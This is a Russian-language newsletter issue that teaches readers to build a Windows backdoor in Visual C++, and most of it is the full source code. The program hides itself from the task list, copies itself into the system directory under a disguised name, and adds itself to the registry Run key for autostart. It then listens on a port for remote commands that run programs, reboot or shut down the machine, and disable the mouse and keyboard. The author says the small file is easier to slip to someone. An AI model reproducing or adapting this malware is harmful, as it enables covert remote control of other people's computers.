При закрытии подписчики были переданы в рассылку "RFpro.ru: Программирование на C / C++" на которую и рекомендуем вам подписаться.
Вы можете найти рассылки сходной тематики в Каталоге рассылок.
| Информационный Канал Subscribe.Ru |
![]() |
Выпуск 15 |
|
Back Door на Visual C++ |
|
Новости сайта
Наш сайт готовится к переходу на платный ASP-хостинг. На сайте появится много нового и интересного, к примеру форум, RRS, много новых статей и исходников!!! |
Привет хацкер! Сегодня я покажу как самомму написать бэкдор на Visual C++. Почему именно Visual C++ а не Delphi? Размер.... 25 кил всучить кому-нить легче чем 125! И так приступимс. Грузи VC++(желательно 6.0) File> New>Win32 Application и не забудь наисать имя твоего прэкта. Далее дави на батон оК и перед тобой появиться окошко там выбирай Simple Win32 Application и дави finiSH и после оК! Жми Project>Active Configuration и выбирай там имя_твоего_проэкта-Win32 Release и дави оК! Далее нужно подключить библиотеку winsock.h. Для этого нужно сделать следующее: видишь слева панель? Там выбрай закладку File View передтобой появиться дерево файлов твоего проэкта, развертывай его, нас интересует Header Files его тоже развертывай и выбирай там stdafx.h, кликай по нему 2 раза, слева должен открыться исходный код stdafx.h. Нужно его троху подправить: под строчкой #include <windows.h> вводи следующее: #include <winsock.h>. Теперь на клаве дави Alt+F7 там переходи на закладку Link видишь строчку Object/Library Modules? Под ней В САМОМ КОЦЕ ВВОДИ: winsock32.lib дави оК(если не видно закладки Link, то сделай следующее: cлева выбери название твоего проэкта и сверху Win32 Release).Теперь можешь смело давить на F7! Теперь приступим к написанию самого бэкдора: там где ты вибирал Header Files, выбирай Source Files и имя_твоего_проэкта.cpp. Слева вводи следующее: #include "stdafx.h"
#define WM_SOCKET WM_USER+1
WSADATA WSAData;
SOCKET sock = INVALID_SOCKET;
SOCKET client;
SOCKADDR_IN sin;
char szClassName[256]="что угодно";//3десь имя программы
char szAppName[256]="что угодно";//3десь заголовок твоей программы
int Port = 5688;//порт
int sendtext(char* txt)//моя проца отправки строки клиенту
{
return send(client,txt,lstrlen(txt),0);
};
LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HWND hwnd;
MSG msg;
WNDCLASS wc;
wc.style="0;"
wc.lpfnWndProc = WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.lpszClassName = szClassName;
wc.lpszMenuName = NULL;
wc.hInstance = hInstance;
wc.hCursor = LoadCursor(NULL,IDC_ARROW);
wc.hIcon = LoadIcon(NULL,IDI_APPLICATION);
wc.hbrBackground = (HBRUSH) COLOR_WINDOW;
RegisterClass(&wc);
hwnd = CreateWindow(szClassName,
szAppName,
WS_OVERLAPPEDWINDOW,
2,
10,
70,
100,
NULL,
NULL,
hInstance,
NULL);
ShowWindow(hwnd,SW_HIDE);//показываем скрытое окно
UpdateWindow(hwnd);
//прячем от Ctrl+Alt+Del
typedef DWORD (WINAPI *REGSERVPROC)(DWORD, DWORD);
HINSTANCE hLibrary;
REGSERVPROC regproc;
hLibrary = LoadLibrary("kernel32.dll");
regproc = (REGSERVPROC) GetProcAddress(hLibrary, "RegisterServiceProcess");
if((int)GetVersion() < 0)
regproc (NULL,1);
//копируем в winsysdir под именем lternat.exe(эль маленькое в начале)
LPSTR lpMe = new TCHAR[256];
LPSTR WinDir1 = new TCHAR[256];
char szValue [256] = "lternat.exe";
GetSystemDirectory(WinDir1,256);
GetModuleFileName(NULL,lpMe,200);
strcat(WinDir1,"\\");
strcat(WinDir1,szValue);
CopyFile(lpMe,WinDir1,FALSE);
//автостарт
HKEY pKey;
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&pKey);
RegSetValueEx(pKey,"lternat",NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1);
//инициализация сокета
WSAStartup(0x0101,&WSAData);
sock = socket(AF_INET,SOCK_STREAM,0);
WSAAsyncSelect(sock,hwnd,WM_SOCKET,FD_ACCEPT | FD_READ);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
sin.sin_port = htons(Port);
bind(sock,(LPSOCKADDR)&sin,sizeof(struct sockaddr));
listen(sock,15);
//обрабатываем сообщения
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
};
return msg.wParam;
}
LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
char BufStr1[6666]="";
char BufStr0[6666]="";
char Command[1500]="";
char Command1[1500]="";
char Command2[1500]="";
char Command3[1500]="";
switch(iMsg)
{
case WM_CREATE:
return 1;
break;
case WM_DESTROY:
//если выход, то закрываем сокет
closesocket(sock);
WSACleanup();
PostQuitMessage(1);
return 1;
break;
//обработка сокетных сообщений
case WM_SOCKET:
switch(lParam)
{
//соединение
case FD_ACCEPT:
client = accept(sock,NULL,NULL);
return 1;
break;
case FD_READ:
//обрабатываем команды клиента
recv(client,BufStr1,sizeof(BufStr1),0);
if(wParam == SOCKET_ERROR)
{
recv(client,BufStr1,sizeof(BufStr1),0);
}
else
{
//извлекаем из поступившей строки следующее:
/*
Command - комманда Command1 -параметр 1 Command2 - параметр 2 Command3 - параметр 4
*/
int i=0;
for(i=0;i<=lstrlen(BufStr1);i++)
{
if(BufStr1[i]==' ')break;
Command[i]=BufStr1[i];
};
int p=0;
for(i++;i<=lstrlen(BufStr1);i++)
{
if((BufStr1[i]=='!')&&(BufStr1[i+1]=='?')&&(BufStr1[i+2]=='!')) break;
Command1[p]=BufStr1[i];
p++;
};
p=0;
for(i+=3;i<=lstrlen(BufStr1);i++)
{
if((BufStr1[i]=='!')&&(BufStr1[i+1]=='?')&&(BufStr1[i+2]=='!')) break;
Command2[p]=BufStr1[i];
p++;
};
p=0;
for(i+=3;i<=lstrlen(BufStr1);i++)
{
if((BufStr1[i]=='!')&&(BufStr1[i+1]=='?')&&(BufStr1[i+2]=='!')) break;
Command3[p]=BufStr1[i];
p++;
};
//высветить сообщение
if(strcmp(Command,"?mes")==0)
{
int type=MB_OK;
if(strcmp(Command1,"i")==0)type=MB_OK|MB_ICONINFORMATION;
if(strcmp(Command1,"w")==0)type=MB_OK|MB_ICONWARNING;
if(strcmp(Command1,"e")==0)type=MB_OK|MB_ICONERROR;
if(strcmp(Command1,"q")==0)type=MB_OK|MB_ICONQUESTION;
MessageBox(NULL,Command3,Command2,type);
sendtext("txt!Показал сообщение");
for(int i=0;i<=6666;i++)
BufStr1[i]=NULL;
return 1;
};
//запустить коммандную строку
if(strcmp(Command,"?run")==0)
{
if(WinExec(Command1,SW_NORMAL)>32){sendtext("txt!Запустил программу");}
else {sendtext("txt!Не удалось запустить программу");};
for(int i=0;i<=6666;i++)
BufStr1[i]=NULL;
return 1;
};
//перезагрузить комп
if(strcmp(Command,"?reboot")==0)
{
ExitWindowsEx(EWX_REBOOT,0);
sendtext("txt!Кoмп перезагружается");
for(int i=0;i<=6666;i++)
BufStr1[i]=NULL;
return 1;
};
//вырубить комп
if(strcmp(Command,"?sdown")==0)
{
ExitWindowsEx(EWX_SHUTDOWN,0);
sendtext("txt!Комп вырубается");
for(int i=0;i<=6666;i++)
BufStr1[i]=NULL;
return 1;
};
//отключить крысу
if(strcmp(Command,"?dismous")==0)
{
WinExec("rundll32 mouse,disable",1);
sendtext("txt!Крыса заблокирована");
for(int i=0;i<=6666;i++)
BufStr1[i]=NULL;
return 1;
};
//отключить клаву
if(strcmp(Command,"?diskey")==0)
{
WinExec("rundll32 keyboard,disable",1);
sendtext("txt!Клава отключена");
for(int i=0;i<=6666;i++)
BufStr1[i]=NULL;
return 1;
};
};
return 1;
break;
};
return 1;
break;
};
return DefWindowProc (hwnd, iMsg, wParam, lParam) ;
}
Вот и все, сервер получает команду типа ?com param1!?!param2!?!param3. Теперь осталось написать клиент, но его мы сегодня писать не будем. |
| Subscribe.Ru
Поддержка подписчиков Другие рассылки этой тематики Другие рассылки этого автора |
Подписан адрес:
Код этой рассылки: comp.soft.prog.visualc |
Отписаться
Вспомнить пароль |
| В избранное | ||